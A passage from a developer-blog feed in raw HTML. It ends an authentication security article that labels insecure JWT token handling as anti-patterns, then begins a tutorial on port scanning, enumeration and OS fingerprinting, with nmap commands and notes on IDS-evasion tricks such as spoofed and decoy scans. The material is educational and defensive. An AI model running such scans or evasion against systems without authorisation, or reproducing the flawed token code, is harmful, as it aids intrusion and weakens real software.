&lt;/span&gt;    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;User&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;objects&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;id&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;payload&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;user_id&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Why it's bad&lt;/strong&gt;: Revoked/rotated tokens still work.&lt;/p&gt;

&lt;h3&gt;
  
  
  5. Missing Refresh Token Persistence
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# ❌ Stateless refresh tokens
&lt;/span&gt;&lt;span class="n"&gt;refresh_token&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;jwt&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;encode&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;user_id&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;user&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nb"&gt;id&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;exp&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;...})&lt;/span&gt;
&lt;span class="c1"&gt;# No database record = no rotation = no revocation
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Why it's bad&lt;/strong&gt;: Cannot detect reuse or force logout.&lt;/p&gt;




&lt;h2&gt;
  
  
  Putting It All Together: What Secure Auth Actually Looks Like
&lt;/h2&gt;

&lt;p&gt;After covering all these concepts, here's what a properly implemented authentication system should include:&lt;/p&gt;

&lt;h3&gt;
  
  
  The Complete Checklist
&lt;/h3&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Layer&lt;/th&gt;
&lt;th&gt;What You Need&lt;/th&gt;
&lt;th&gt;Why It Matters&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Password Storage&lt;/td&gt;
&lt;td&gt;Argon2 or bcrypt with proper cost&lt;/td&gt;
&lt;td&gt;Memory-hard, GPU-resistant&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Brute-Force Protection&lt;/td&gt;
&lt;td&gt;Rate limiting per IP and email&lt;/td&gt;
&lt;td&gt;Blocks automated attacks&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Audit Logging&lt;/td&gt;
&lt;td&gt;All auth events recorded&lt;/td&gt;
&lt;td&gt;Enables incident response&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Access Tokens&lt;/td&gt;
&lt;td&gt;Short-lived (10-15 min), in memory&lt;/td&gt;
&lt;td&gt;Limits damage window&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Refresh Tokens&lt;/td&gt;
&lt;td&gt;Database-backed, HttpOnly cookie&lt;/td&gt;
&lt;td&gt;Enables rotation and revocation&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Token Rotation&lt;/td&gt;
&lt;td&gt;Single-use refresh tokens&lt;/td&gt;
&lt;td&gt;Makes theft detectable&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Reuse Detection&lt;/td&gt;
&lt;td&gt;Revoke all on reuse&lt;/td&gt;
&lt;td&gt;Turns theft into visible event&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CSRF Protection&lt;/td&gt;
&lt;td&gt;Token required for cookie-based auth&lt;/td&gt;
&lt;td&gt;Prevents cross-site abuse&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Generic Errors&lt;/td&gt;
&lt;td&gt;Same message for all failures&lt;/td&gt;
&lt;td&gt;No user enumeration&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h3&gt;
  
  
  Why Most Tutorials Fall Short
&lt;/h3&gt;

&lt;p&gt;Most tutorials teach you to:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Hash password with bcrypt ✓&lt;/li&gt;
&lt;li&gt;Generate JWT ✓&lt;/li&gt;
&lt;li&gt;Return it to client ✓&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Then stop.&lt;/p&gt;

&lt;p&gt;Real-world security requires everything above the basics:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;What happens when a token is stolen?&lt;/li&gt;
&lt;li&gt;How do you force logout?&lt;/li&gt;
&lt;li&gt;How do you detect attacks?&lt;/li&gt;
&lt;li&gt;How do you investigate incidents?&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;If you can't answer these questions, your auth system isn't production-ready.&lt;/p&gt;




&lt;h2&gt;
  
  
  Final Thoughts: Design for Failure, Not Perfection
&lt;/h2&gt;

&lt;p&gt;Security is not about preventing all attacks. It's about:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Limiting blast radius&lt;/strong&gt;: Short token lifetimes, minimal permissions&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Detecting compromise&lt;/strong&gt;: Audit logs, reuse detection&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Enabling response&lt;/strong&gt;: Revocation, forced re-auth&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Layered defense&lt;/strong&gt;: If one control fails, others catch it&lt;/li&gt;
&lt;/ol&gt;

&lt;h3&gt;
  
  
  Key Takeaways
&lt;/h3&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Principle&lt;/th&gt;
&lt;th&gt;What It Means&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Authentication is where trust starts&lt;/td&gt;
&lt;td&gt;Get it wrong and nothing else matters&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;XSS vs CSRF is a tradeoff&lt;/td&gt;
&lt;td&gt;Understand it before choosing storage&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Tokens expire, but theft is immediate&lt;/td&gt;
&lt;td&gt;Rotation makes theft detectable&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Logging is not optional&lt;/td&gt;
&lt;td&gt;You can't investigate what you didn't record&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Admin access is different&lt;/td&gt;
&lt;td&gt;Protect it at the network layer&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h3&gt;
  
  
  The Security Mindset
&lt;/h3&gt;

&lt;p&gt;Don't ask: &lt;em&gt;"How do I make this secure?"&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Ask: &lt;em&gt;"When this is breached, how will I know and what will I do?"&lt;/em&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  Further Reading
&lt;/h2&gt;

&lt;p&gt;If you want to dive deeper into these topics:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;OWASP Authentication Cheat Sheet&lt;/strong&gt; - Industry-standard guidelines&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;RFC 6749&lt;/strong&gt; - OAuth 2.0 specification&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;RFC 7519&lt;/strong&gt; - JSON Web Token (JWT) specification&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;NIST SP 800-63B&lt;/strong&gt; - Digital Identity Guidelines (Authentication)&lt;/li&gt;
&lt;/ul&gt;




&lt;p&gt;&lt;em&gt;Thanks for reading! If you found this useful, follow me for more security-focused development content. Questions or corrections? Drop a comment below.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>applicationsecurity</category>
      <category>websecurity</category>
      <category>django</category>
      <category>cybersecurity</category>
    </item>
    <item>
      <title>Networking for Cybersecurity (Part 5): Scanning, Enumeration &amp; Fingerprinting</title>
      <dc:creator>Elvin Seyidov</dc:creator>
      <pubDate>Wed, 10 Dec 2025 17:03:28 +0000</pubDate>
      <link>https://forem.com/alvinseyidov/networking-for-cybersecurity-part-5-scanning-enumeration-fingerprinting-344p</link>
      <guid>https://forem.com/alvinseyidov/networking-for-cybersecurity-part-5-scanning-enumeration-fingerprinting-344p</guid>
      <description>&lt;h2&gt;
  
  
  1. Introduction: Mapping and Understanding Your Target
&lt;/h2&gt;

&lt;p&gt;When I started learning cybersecurity, one thing quickly became clear: before you test anything, you must understand what you are testing. Scanning, enumeration and fingerprinting are not random actions. They are like creating a map of a place you want to explore.&lt;/p&gt;

&lt;p&gt;In networking, every device, server, router or application gives off small signals. Open ports, banners, headers, protocols, timing patterns. When we collect these signals, we start to build a picture of the target. This picture helps us understand what is possible, what is allowed, and where misconfigurations might exist.&lt;/p&gt;

&lt;p&gt;So in this part, I am focusing on how to “see” the network. How to discover hosts, identify services, and collect information without touching anything aggressively. This is the beginning of almost every cybersecurity process.&lt;/p&gt;




&lt;h2&gt;
  
  
  2. What Scanning, Enumeration &amp;amp; Fingerprinting Really Mean
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Scanning: Checking What Is Alive and What Is Open&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Scanning is like walking down a street and seeing which doors exist.&lt;br&gt;
Not opening them. Just seeing:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Which hosts respond&lt;/li&gt;
&lt;li&gt;Which ports are open&lt;/li&gt;
&lt;li&gt;Which services might be exposed&lt;/li&gt;
&lt;li&gt;How the network reacts to probes&lt;/li&gt;
&lt;/ul&gt;

&lt;blockquote&gt;
&lt;p&gt;This step answers “What is out there?”&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Examples:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Host discovery (ping, ARP)&lt;/li&gt;
&lt;li&gt;Port scanning (open, closed, filtered)&lt;/li&gt;
&lt;li&gt;Basic protocol checks&lt;/li&gt;
&lt;/ul&gt;

&lt;blockquote&gt;
&lt;p&gt;It gives a surface view of the environment.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;strong&gt;Enumeration: Asking for Details&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Enumeration goes a level deeper.&lt;br&gt;
Here you start interacting with services to ask them for information.&lt;br&gt;
Still not attacking, just requesting what they naturally reveal.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;This step answers “What can I learn about these open services?”&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Examples:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Banner grabbing&lt;/li&gt;
&lt;li&gt;Listing users on SMB, FTP, or LDAP&lt;/li&gt;
&lt;li&gt;Detecting protocol versions&lt;/li&gt;
&lt;li&gt;Trying default credentials (when allowed)&lt;/li&gt;
&lt;/ul&gt;

&lt;blockquote&gt;
&lt;p&gt;Enumeration starts giving actual data that can later lead to vulnerabilities.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;strong&gt;Fingerprinting: Identifying the System Behind the Service&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Fingerprinting is about recognizing the identity of the device or service:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;What operating system does it run?&lt;/li&gt;
&lt;li&gt;Which version?&lt;/li&gt;
&lt;li&gt;What framework or tech stack?&lt;/li&gt;
&lt;li&gt;Any unique behavior or response pattern?&lt;/li&gt;
&lt;/ul&gt;

&lt;blockquote&gt;
&lt;p&gt;This step answers “What exactly am I talking to?”&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Fingerprinting uses patterns like:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;TCP/IP stack behavior&lt;/li&gt;
&lt;li&gt;TTL values&lt;/li&gt;
&lt;li&gt;Window sizes&lt;/li&gt;
&lt;li&gt;HTTP headers&lt;/li&gt;
&lt;li&gt;TLS fingerprints&lt;/li&gt;
&lt;li&gt;Timing responses&lt;/li&gt;
&lt;/ul&gt;

&lt;blockquote&gt;
&lt;p&gt;Fingerprinting helps you build a clear identity profile of the target.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;How I Visualize the Three Stages Together&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Scanning → Discover that a house exists&lt;/li&gt;
&lt;li&gt;Enumeration → Learn that it has 3 floors, 2 doors, 4 windows&lt;/li&gt;
&lt;li&gt;Fingerprinting → Identify that it’s a concrete building built in 2018&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;These three steps help create a full picture without exploiting anything.&lt;br&gt;
They are the foundation of almost all penetration tests and defensive analysis.&lt;/p&gt;


&lt;h2&gt;
  
  
  3. Port Scanning Fundamentals (Open, Closed, Filtered)
&lt;/h2&gt;

&lt;p&gt;Port scanning simply means sending packets to a port and watching how the target responds. Based on that reaction, we categorize the port.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F4yc53fddmx9ol5cw0460.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F4yc53fddmx9ol5cw0460.webp" alt=" " width="800" height="611"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Open Port&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;An open port means a service is running and ready to communicate.&lt;br&gt;
If you send a SYN packet to a port, you get a SYN-ACK back.&lt;br&gt;
This tells me:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;A service exists on that port&lt;/li&gt;
&lt;li&gt;I can continue with enumeration&lt;/li&gt;
&lt;li&gt;It might have a version or banner to read&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Examples of common open ports:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;22 for SSH&lt;/li&gt;
&lt;li&gt;80 or 443 for web servers&lt;/li&gt;
&lt;li&gt;3306 for MySQL&lt;/li&gt;
&lt;li&gt;53 for DNS&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Closed Port&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;A closed port means the target is alive but nothing is running there.&lt;br&gt;
You send a SYN packet and get an RST back.&lt;/p&gt;

&lt;p&gt;This tells me:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;The host is reachable&lt;/li&gt;
&lt;li&gt;The port is not used&lt;/li&gt;
&lt;li&gt;There is no firewall blocking that packet&lt;/li&gt;
&lt;/ul&gt;

&lt;blockquote&gt;
&lt;p&gt;A closed port still gives useful information because it confirms the host exists and is responding normally.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;strong&gt;Filtered Port&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;A filtered port is the interesting one. Something blocks your packets.&lt;br&gt;
You send a SYN, but you get no response or a special ICMP message.&lt;/p&gt;

&lt;p&gt;This tells me:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;A firewall or router is filtering traffic&lt;/li&gt;
&lt;li&gt;The port might be open or closed&lt;/li&gt;
&lt;li&gt;The system is intentionally hiding details&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Filtered ports usually appear when:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Firewalls drop SYN packets silently&lt;/li&gt;
&lt;li&gt;IDS or IPS rate-limit your scan&lt;/li&gt;
&lt;li&gt;The network uses strict security rules&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This is the port state that pushes attackers to use stealth techniques.&lt;/p&gt;

&lt;blockquote&gt;
&lt;ul&gt;
&lt;li&gt;Open means service is active&lt;/li&gt;
&lt;li&gt;Closed means no service but host is alive&lt;/li&gt;
&lt;li&gt;Filtered means firewall is hiding or blocking&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fgp60clgl4dgael9bppis.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fgp60clgl4dgael9bppis.png" alt=" " width="700" height="456"&gt;&lt;/a&gt;&lt;/p&gt;


&lt;h2&gt;
  
  
  4. TCP SYN Scan, UDP Scan &amp;amp; Stealth Techniques
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;TCP SYN Scan&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Also called half open scan Used by Nmap with the flag &lt;strong&gt;-sS&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;This scan sends a SYN packet and waits for a response. If the port is open, the target replies with SYN-ACK. Normally, a client would respond back with ACK to complete the handshake. But in a SYN scan, the handshake is never completed. Instead, the scanner sends RST and closes the connection.&lt;/p&gt;

&lt;p&gt;Why this is useful for me:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;It is fast&lt;/li&gt;
&lt;li&gt;It does not fully complete the handshake&lt;/li&gt;
&lt;li&gt;Many systems do not log it as a real connection&lt;/li&gt;
&lt;li&gt;It is the most common scan used in pentesting&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;How SYN scan behaves:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Open port: SYN-ACK&lt;/li&gt;
&lt;li&gt;Closed port: RST&lt;/li&gt;
&lt;li&gt;Filtered port: no response or ICMP block&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fu166t3fz2s4f0gqn7kme.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fu166t3fz2s4f0gqn7kme.png" alt=" " width="750" height="499"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;UDP Scan&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Used by Nmap with &lt;strong&gt;-sU&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;UDP scanning is more difficult because UDP has no handshake. It does not respond unless the service chooses to reply. Because of that, UDP scans are usually slower and less predictable.&lt;/p&gt;

&lt;p&gt;Typical behavior:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;If the port is closed: the target sends ICMP port unreachable&lt;/li&gt;
&lt;li&gt;If the port is open: usually no response&lt;/li&gt;
&lt;li&gt;If filtered: no reply at all or ICMP block message&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Why UDP scans matter:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Many important services use UDP like DNS, DHCP, SNMP&lt;/li&gt;
&lt;li&gt;Attackers always check these since admins often forget them&lt;/li&gt;
&lt;li&gt;Lack of response itself becomes information&lt;/li&gt;
&lt;/ul&gt;

&lt;blockquote&gt;
&lt;p&gt;UDP scans teach me patience because they are slow and often look confusing, but they show a part of the attack surface that TCP cannot reveal.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;strong&gt;Stealth Techniques&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Stealth scanning focuses on avoiding firewalls, rate limits and intrusion detection systems. These techniques try to reduce noise and make the scan look less suspicious.&lt;/p&gt;

&lt;p&gt;Some common stealth ideas:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Fragmented packets&lt;/strong&gt;&lt;br&gt;
&lt;em&gt;Breaking the scan packet into smaller pieces so some firewalls cannot reassemble them properly.&lt;/em&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Slow scans&lt;/strong&gt;&lt;br&gt;
&lt;em&gt;Sending packets very slowly to avoid detection by IDS that look for fast scanning patterns.&lt;/em&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Spoofed packets&lt;/strong&gt;&lt;br&gt;
&lt;em&gt;Using fake source addresses to confuse network logs.&lt;/em&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Decoy scans&lt;/strong&gt;&lt;br&gt;
&lt;em&gt;Mixing your real scan with many fake IPs so the target cannot identify the real source.&lt;/em&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Randomized port order&lt;/strong&gt;&lt;br&gt;
&lt;em&gt;Instead of scanning ports in order, scanning them in random sequences.&lt;/em&gt;&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Why stealth techniques matter:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;They show how real attackers think&lt;/li&gt;
&lt;li&gt;They teach defenders what to protect against&lt;/li&gt;
&lt;li&gt;They help me understand how IDS systems detect patterns&lt;/li&gt;
&lt;/ul&gt;

&lt;blockquote&gt;
&lt;ul&gt;
&lt;li&gt;SYN scan is the fastest and most practical for TCP&lt;/li&gt;
&lt;li&gt;UDP scan is slow but reveals services that TCP never shows&lt;/li&gt;
&lt;li&gt;Stealth techniques teach how attackers try to stay hidden&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;


&lt;h2&gt;
  
  
  5. Service Enumeration (Banner Grabbing, Protocol Detection)
&lt;/h2&gt;

&lt;p&gt;Service enumeration is the stage where I stop guessing what is behind a port and start collecting actual details. Scanning tells me which ports are open. Enumeration tells me what is running on those ports, which versions, and sometimes even who configured them.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Banner Grabbing&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;A banner is a small message that many services send when you connect to them.&lt;/p&gt;

&lt;p&gt;It can reveal:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Service name&lt;/li&gt;
&lt;li&gt;Version&lt;/li&gt;
&lt;li&gt;Operating system hints&lt;/li&gt;
&lt;li&gt;Configuration details&lt;/li&gt;
&lt;li&gt;Sometimes admin mistakes&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;For example, connecting to port 22 (SSH) often shows something like this:&lt;/p&gt;

&lt;p&gt;SSH-2.0 OpenSSH 8.9 Ubuntu&lt;/p&gt;

&lt;p&gt;This one line already tells me:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;It is SSH&lt;/li&gt;
&lt;li&gt;It uses OpenSSH&lt;/li&gt;
&lt;li&gt;Version 8.9&lt;/li&gt;
&lt;li&gt;Running on Ubuntu&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Why banners matter for me as a learner:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;They help identify outdated versions&lt;/li&gt;
&lt;li&gt;They guide the next steps of research&lt;/li&gt;
&lt;li&gt;&lt;p&gt;They show real world misconfigurations&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Basic Banner Grabbing&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;nmap -sV 192.168.1.10
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Aggressive Banner Grabbing&lt;/strong&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;nmap -A 192.168.1.10
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Banner Grabbing on a Specific Port&lt;/strong&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;nmap -sV -p 22 192.168.1.15
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;blockquote&gt;
&lt;p&gt;Banners can be read with simple tools like netcat or more advanced ones like Nmap.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;strong&gt;Protocol Detection&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Not every service shows a banner. In those cases, tools try to identify the protocol by sending small test packets and analyzing how the service responds.&lt;/p&gt;

&lt;p&gt;This can reveal:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Whether the service is HTTP, HTTPS, FTP, SSH, SMTP, DNS or something else&lt;/li&gt;
&lt;li&gt;Which version of the protocol it uses&lt;/li&gt;
&lt;li&gt;If encryption is used&lt;/li&gt;
&lt;li&gt;How the server reacts to malformed packets&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Nmap uses hundreds of small tests to guess protocol behavior. Even if a banner is hidden, protocol fingerprints still reveal what service is behind the port.&lt;/p&gt;

&lt;p&gt;Some examples:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;HTTP servers respond with headers&lt;/li&gt;
&lt;li&gt;DNS servers answer queries in a specific way&lt;/li&gt;
&lt;li&gt;FTP servers follow a predictable greeting pattern&lt;/li&gt;
&lt;li&gt;TLS servers expose a list of supported ciphers&lt;/li&gt;
&lt;/ul&gt;

&lt;blockquote&gt;
&lt;p&gt;These patterns help tools identify services even when admins try to hide them.&lt;/p&gt;
&lt;/blockquote&gt;


&lt;h2&gt;
  
  
  6. OS Fingerprinting (Active &amp;amp; Passive Methods)
&lt;/h2&gt;

&lt;p&gt;OS fingerprinting is the process of figuring out what operating system a target is running. This helps understand how the system behaves, which vulnerabilities might apply, and what kind of environment you are dealing with.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Active OS Fingerprinting&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Active means you send packets to the target and look at how it responds. Every operating system has small differences in its TCP/IP stack. These differences act like a fingerprint.&lt;/p&gt;

&lt;p&gt;Some things that tools look at:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;TTL values&lt;/li&gt;
&lt;li&gt;Window sizes&lt;/li&gt;
&lt;li&gt;How the system responds to malformed packets&lt;/li&gt;
&lt;li&gt;Order of TCP flags&lt;/li&gt;
&lt;li&gt;ICMP message patterns&lt;/li&gt;
&lt;li&gt;Initial sequence numbers&lt;/li&gt;
&lt;/ul&gt;

&lt;blockquote&gt;
&lt;p&gt;Nmap is the most popular tool for active fingerprinting.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Nmap OS detection command:&lt;/strong&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;nmap -O &amp;lt;target&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;If combined with version detection:&lt;/strong&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;nmap -A &amp;lt;target&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;blockquote&gt;
&lt;p&gt;*&lt;em&gt;Downside:&lt;br&gt;
*&lt;/em&gt;&amp;gt; - It is noisy&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Firewalls can detect it&lt;/li&gt;
&lt;li&gt;Some systems block fingerprint probes&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;strong&gt;Passive OS Fingerprinting&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Passive fingerprinting does not send anything to the target.&lt;br&gt;
